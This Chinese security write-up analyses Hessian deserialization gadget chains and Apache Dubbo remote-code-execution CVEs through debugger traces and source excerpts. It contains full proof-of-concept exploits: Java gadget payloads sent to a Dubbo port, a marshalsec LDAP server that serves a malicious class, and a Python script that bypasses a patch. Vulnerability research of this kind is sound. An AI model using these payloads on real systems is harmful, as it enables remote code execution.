SpringAbstractBeanFactoryPointcutAdvisor
构造分析
default Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception { String jndiUrl = args[ 0 ]; return SpringUtil.makeBeanFactoryTriggerBFPA(uf, jndiUrl, SpringUtil.makeJNDITrigger(jndiUrl)); }
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception { SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl); Reflections.setFieldValue(bf, "logger", new NoOpLog()); Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); return bf; }
public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception { DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); pcadv.setBeanFactory(bf); pcadv.setAdviceBeanName(name); return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor()); }
和前面差不多,再次不多做分析
利用分析
poc
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import marshalsec.HessianBase; import marshalsec.util.Reflections; import org.apache.commons.logging.impl.NoOpLog; import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; import org.springframework.jndi.support.SimpleJndiBeanFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.util.HashMap; public class SpringAbstractBeanFactoryPointcutAdvisortest { public static void main(String[] args) throws Exception { String jndiUrl = "ldap://localhost:1389/obj"; SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl); Reflections.setFieldValue(bf, "logger", new NoOpLog()); Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); // bf DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor(); pcadv.setBeanFactory(bf); pcadv.setAdviceBeanName(jndiUrl); HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, pcadv, pcadv, null)); Array.set(tbl, 1, nodeCons.newInstance(0, new DefaultBeanFactoryPointcutAdvisor(), new DefaultBeanFactoryPointcutAdvisor(), null)); Reflections.setFieldValue(s, "table", tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); hessian2Output.setSerializerFactory(sf); hessian2Output.writeObject(s); hessian2Output.flushBuffer(); byte[] bytes = byteArrayOutputStream.toByteArray(); // hessian2反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); HashMap o = (HashMap) hessian2Input.readObject(); // pcadv, new DefaultBeanFactoryPointcutAdvisor(); } }
断点依旧打在 MapDeserializer 中,调用put方法,跟踪
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { Node<K,V>[] tab; Node<K,V> p; int n, i; if ((tab = table) == null || (n = tab.length) == 0) n = (tab = resize()).length; if ((p = tab[i = (n - 1) & hash]) == null) tab[i] = newNode(hash, key, value, null); else { Node<K,V> e; K k; if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k))))
public boolean equals(Object other) { if (this == other) { return true; } else if (!(other instanceof PointcutAdvisor)) { return false; } else { PointcutAdvisor otherAdvisor = (PointcutAdvisor)other; return ObjectUtils.nullSafeEquals(this.getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(this.getPointcut(), otherAdvisor.getPointcut()); } }
public Advice getAdvice() { Advice advice = this.advice; if (advice == null && this.adviceBeanName != null) { Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'"); if (this.beanFactory.isSingleton(this.adviceBeanName)) { advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);
这条链是借助调用getbean
public <T> T getBean(String name, Class<T> requiredType) throws BeansException { try { return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException { synchronized(this.singletonObjects) { Object jndiObject; if (this.singletonObjects.containsKey(name)) { jndiObject = this.singletonObjects.get(name); if (requiredType != null && !requiredType.isInstance(jndiObject)) { throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null); } else { return jndiObject; } } else { jndiObject = this.lookup(name, requiredType); this.singletonObjects.put(name, jndiObject); return jndiObject; } } }
protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException { Assert.notNull(jndiName, "'jndiName' must not be null"); String convertedName = this.convertJndiName(jndiName); Object jndiObject; try { jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
public <T> T lookup(String name, Class<T> requiredType) throws NamingException { Object jndiObject = this.lookup(name);
ublic Object lookup(final String name) throws NamingException { if (this.logger.isDebugEnabled()) { this.logger.debug("Looking up JNDI object with name [" + name + "]"); } return this.execute(new JndiCallback<Object>() { public Object doInContext(Context ctx) throws NamingException { Object located = ctx.lookup(name); if (located == null) { throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null"); } else { return located; } } }); }
public <T> T execute(JndiCallback<T> contextCallback) throws NamingException { Context ctx = this.getContext(); Object var3; try { var3 = contextCallback.doInContext(ctx); } finally { this.releaseContext(ctx); } return var3; }
public Object lookup(final String name) throws NamingException { if (this.logger.isDebugEnabled()) { this.logger.debug("Looking up JNDI object with name [" + name + "]"); } return this.execute(new JndiCallback<Object>() { public Object doInContext(Context ctx) throws NamingException { Object located = ctx.lookup(name); if (located == null) { throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null"); } else { return located; } } }); }
lookup:417, InitialContext (javax.naming) doInContext:155, JndiTemplate$1 (org.springframework.jndi) execute:87, JndiTemplate (org.springframework.jndi) lookup:152, JndiTemplate (org.springframework.jndi) lookup:179, JndiTemplate (org.springframework.jndi) lookup:95, JndiLocatorSupport (org.springframework.jndi) doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support) getBean:112, SimpleJndiBeanFactory (org.springframework.jndi.support) getAdvice:109, AbstractBeanFactoryPointcutAdvisor (org.springframework.aop.support) equals:74, AbstractPointcutAdvisor (org.springframework.aop.support) putVal:635, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:538, SerializerFactory (com.caucho.hessian.io) readObject:2110, Hessian2Input (com.caucho.hessian.io) main:59, SpringAbstractBeanFactoryPointcutAdvisortest
0x04 漏洞分析
CVE-2019-17564 漏洞分析
影响版本
- 2.7.0 <= Apache Dubbo <= 2.7.4.1
- 2.6.0 <= Apache Dubbo <= 2.6.7
- Apache Dubbo = 2.5.x
漏洞调试
下载 https://github.com/apache/dubbo-samples ,提取 dubbo-samples-http 模块,dubbo版本切换为2.7.3版本,并且加入cc组件依赖进行漏洞调试。
先看到 http-provider.xml 文件,该文件配置声明暴露服务。
<dubbo:application name="http-provider"/> <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/> <dubbo:protocol name="http" id="http" port="${servlet.port:8087}" server="${servlet.container:tomcat}"/> <bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/> <dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>
这里注册了 org.apache.dubbo.samples.http.api.DemoService 。
对 /org.apache.dubbo.samples.http.api.DemoService 接口发送payload,即gadget序列化数据,然后来到 org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service 方法中,将所有请求都会走 DispatcherServlet 进行处理。
protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { HttpHandler handler = (HttpHandler)handlers.get(request.getLocalPort()); if (handler == null) { response.sendError(404, "Service not found."); } else { handler.handle(request, response); } }
跟进 handler.handle(request, response);
来到 org.apache.dubbo.rpc.protocol.http.HttpProtocol#handle
public void handle(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { String uri = request.getRequestURI(); HttpInvokerServiceExporter skeleton = (HttpInvokerServiceExporter)HttpProtocol.this.skeletonMap.get(uri); if (!request.getMethod().equalsIgnoreCase("POST")) { response.setStatus(500); } else { RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort()); try { skeleton.handleRequest(request, response); } catch (Throwable var6) { throw new ServletException(var6); } }
这里是获取url中的类名,然后从 skeletonMap 中取值将对应的 HttpInvokerServiceExporter对象
跟进 skeleton.handleRequest(request, response);
来到 org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest
public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { RemoteInvocation invocation = this.readRemoteInvocation(request); RemoteInvocationResult result = this.invokeAndCreateResult(invocation, this.getProxy()); this.writeRemoteInvocationResult(request, response, result); } catch (ClassNotFoundException var5) { throw new NestedServletException("Class not found during deserialization", var5); } }
跟进 this.readRemoteInvocation(request);
来到 org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request) throws IOException, ClassNotFoundException { return this.readRemoteInvocation(request, request.getInputStream()); }
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException { ObjectInputStream ois = this.createObjectInputStream(this.decorateInputStream(request, is)); RemoteInvocation var4; try { var4 = this.doReadRemoteInvocation(ois); } finally { ois.close(); } return var4; }
this.doReadRemoteInvocation(ois);
org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation
protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException { Object obj = ois.readObject(); if (!(obj instanceof RemoteInvocation)) { throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj)); } else { return (RemoteInvocation)obj; } }
疑惑留存
HttpInvokerServiceExporter DispatcherServlet
DispatcherServlet注册
DispatcherServlet的注册逻辑在 org.apache.dubbo.remoting.http.tomcat.TomcatHttpServer中。
内嵌的tomcat容器,给添加了servlet的注册
版本更新
对 skeletonMap 进行了修改,在获取 skeleton 之后就会调用 JsonRpcBasicServer.hanlde , JsonRpcBasicServer 是 JsonRpcServer 的父类,在该类中没有反序列化的危险操作。
CVE-2020-1948
漏洞简介
Dubbo 2.7.6或更低版本采用hessian2实现反序列化,其中存在反序列化远程代码执行漏洞。攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当服务端存在可以被利用的第三方库时,恶意参数被反序列化后形成可被利用的攻击链,直接对Dubbo服务端进行恶意代码执行。
漏洞版本
Apache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
在实际测试中2.7.8仍旧可以打,而2.7.9失败
漏洞复现
修改 dubbo-samples/dubbo-samples-api/pom.xml
<dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.8.0</version> </dependency>
更改dubbo版本为2.7.3
启动dubbo-samples-api项目
import com.caucho.hessian.io.Hessian2Output; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.net.Socket; import java.util.HashMap; import java.util.Random; import marshalsec.HessianBase; import marshalsec.util.Reflections; import org.apache.dubbo.common.io.Bytes; import org.apache.dubbo.common.serialize.Cleanable; public class GadgetsTestHessian { public static void main(String[] args) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); //todo 此处填写ldap url rs.setDataSourceName("ldap://127.0.0.1:8087/ExecTest"); rs.setMatchColumn("foo"); Reflections.setFieldValue(rs, "listeners",null); ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); EqualsBean root = new EqualsBean(ToStringBean.class, item); HashMap s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null)); Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null)); Reflections.setFieldValue(s, "table", tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // header. byte[] header = new byte[16]; // set magic number. Bytes.short2bytes((short) 0xdabb, header); // set request and serialization flag. header[2] = (byte) ((byte) 0x80 | 0x20 | 2); // set request id. Bytes.long2bytes(new Random().nextInt(100000000), header, 4); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream); HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true); out.setSerializerFactory(sf); out.writeObject(s); out.flushBuffer(); if (out instanceof Cleanable) { ((Cleanable) out).cleanup(); } Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); byteArrayOutputStream.write(header); byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte[] bytes = byteArrayOutputStream.toByteArray(); //todo 此处填写被攻击的dubbo服务提供者地址和端口 Socket socket = new Socket("127.0.0.1", 20880); OutputStream outputStream = socket.getOutputStream(); outputStream.write(bytes); outputStream.flush(); outputStream.close(); } }
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest python -m http.server #挂载恶意类
poc对dubbo的端口,默认为20880进行发包
漏洞分析
断点打在 org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter#decode
该位置通过调用 Object msg = NettyCodecAdapter.this.codec.decode(channel, message); ,从端口中接收序列化数据进行反序列化为一个Object对象。跟踪代码查看具体实现。
public Object decode(Channel channel, ChannelBuffer buffer) throws IOException { int save = buffer.readerIndex(); MultiMessage result = MultiMessage.create(); while(true) { Object obj = this.codec.decode(channel, buffer); if (DecodeResult.NEED_MORE_INPUT == obj) { buffer.readerIndex(save); if (result.isEmpty()) { return DecodeResult.NEED_MORE_INPUT; } else { return result.size() == 1 ? result.get(0) : result; } } result.addMessage(obj); this.logMessageLength(obj, buffer.readerIndex() - save); save = buffer.readerIndex(); } }
继续跟踪 this.codec.decode(channel, buffer); 位置
public Object decode(Channel channel, ChannelBuffer buffer) throws IOException { int readable = buffer.readableBytes(); byte[] header = new byte[Math.min(readable, 16)]; buffer.readBytes(header); return this.decode(channel, buffer, readable, header); }
来到 org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode
public Object decode(Channel channel, ChannelBuffer buffer) throws IOException { int readable = buffer.readableBytes(); byte[] header = new byte[Math.min(readable, 16)]; buffer.readBytes(header); return this.decode(channel, buffer, readable, header); }
调用 buffer.readableBytes 返回表示 ByteBuf 当前可读取的字节数,这里为670,是接受过来的序列化数据包的长度,Math.min(readable,16)则取两值中最小的值。作为byte数组的长度,并且调用 buffer.readBytes 读取该大小,这里是16,读取16个长度。
传递到this.decode进行调用
protected Object decode(Channel channel, ChannelBuffer buffer, int readable, byte[] header) throws IOException { int len; int i; if ((readable <= 0 || header[0] == MAGIC_HIGH) && (readable <= 1 || header[1] == MAGIC_LOW)) { if (readable < 16) { return DecodeResult.NEED_MORE_INPUT; } else { //获取数据的长度 len = Bytes.bytes2int(header, 12); checkPayload(channel, (long)len); i = len + 16; if (readable < i) { return DecodeResult.NEED_MORE_INPUT; } else { ChannelBufferInputStream is = new ChannelBufferInputStream(buffer, len); Object var8; try { var8 = this.decodeBody(channel, is, header);
走到 var8 = this.decodeBody(channel, is, header); 跟进
一路执行来到下面这段代码中
in = CodecSupport.deserialize(channel.getUrl(), is, proto); 位置获取OutputSteam数据,跟踪查看
public static ObjectInput deserialize(URL url, InputStream is, byte proto) throws IOException { Serialization s = getSerialization(url, proto); return s.deserialize(url, is); }
getSerialization 位置跟进查看代码
url.getParameter("serialization", "hessian2"); 位置获取序列化的数据类型
返回到上一层方法走到 return s.deserialize(url, is); 位置
public ObjectInput deserialize(URL url, InputStream is) throws IOException { return new Hessian2ObjectInput(is); }
实际上这里不是真正意义上的反序列化操作,而是将 is 的数据转换成一个 Hessian2ObjectInput 对象的实例。
走到这一步执行回到 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody 107行代码中
data = this.decodeEventData(channel, in);
至此到达Hession2的反序列化触发点。和前面调试的利用链对比 构造数据的时候多了一下代码
byte[] header = new byte[16]; // set magic number. Bytes.short2bytes((short) 0xdabb, header); // set request and serialization flag. header[2] = (byte) ((byte) 0x80 | 0x20 | 2); // set request id. Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
其余都是一致的。
CVE-2020-11995
漏洞简介
Apache Dubbo默认反序列化协议Hessian2被曝存在代码执行漏洞,攻击者可利用漏洞构建一个恶意请求达到远程代码执行的目的
漏洞版本
Dubbo 2.7.0 ~ 2.7.8
Dubbo 2.6.0 ~ 2.6.8
Dubbo 所有 2.5.x 版本
if (pts == DubboCodec.EMPTY_CLASS_ARRAY) { if (!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())) { throw new IllegalArgumentException("Service not found:" + path + ", " + this.getMethodName()); } pts = ReflectUtils.desc2classArray(desc); }
public static boolean isGenericCall(String path, String method) { return "$invoke".equals(method) || "$invokeAsync".equals(method); }
public static boolean isEcho(String path, String method) { return "$echo".equals(method); }
设置 method 等于 $invoke 或 $invokeAsync 、 $echo 即可绕过该补丁
from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient client = DubboClient('127.0.0.1', 20880) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource="ldap://127.0.0.1:8087/Exploit", strMatchColumns=["foo"] ) JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService', method_name='$invoke', service_version='1.0.0', args=[toStringBean])
疑惑留存
在前面的构造的Java代码的poc中,即spring aop链或Rome链,能打2.7.8版本,并且没有走到 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode 补丁处,而使用python该脚本时候则会走到补丁位置。
在请教了三梦师傅后,得知该补丁只是在 Xbean 利用链基础上进行了修复。导致其他利用链在2.7.8版本中依旧能使用。但从python代码中看着更像是Rome Gadget的构造。而在实际测试当中,XBean的Gadget确实走入到了补丁的逻辑处。
在此几个疑惑留存留到后面的dubbo源码分析中去解读结果尚未解决的疑惑点。
0x05 结尾
天气冷了,注意保暖。共勉。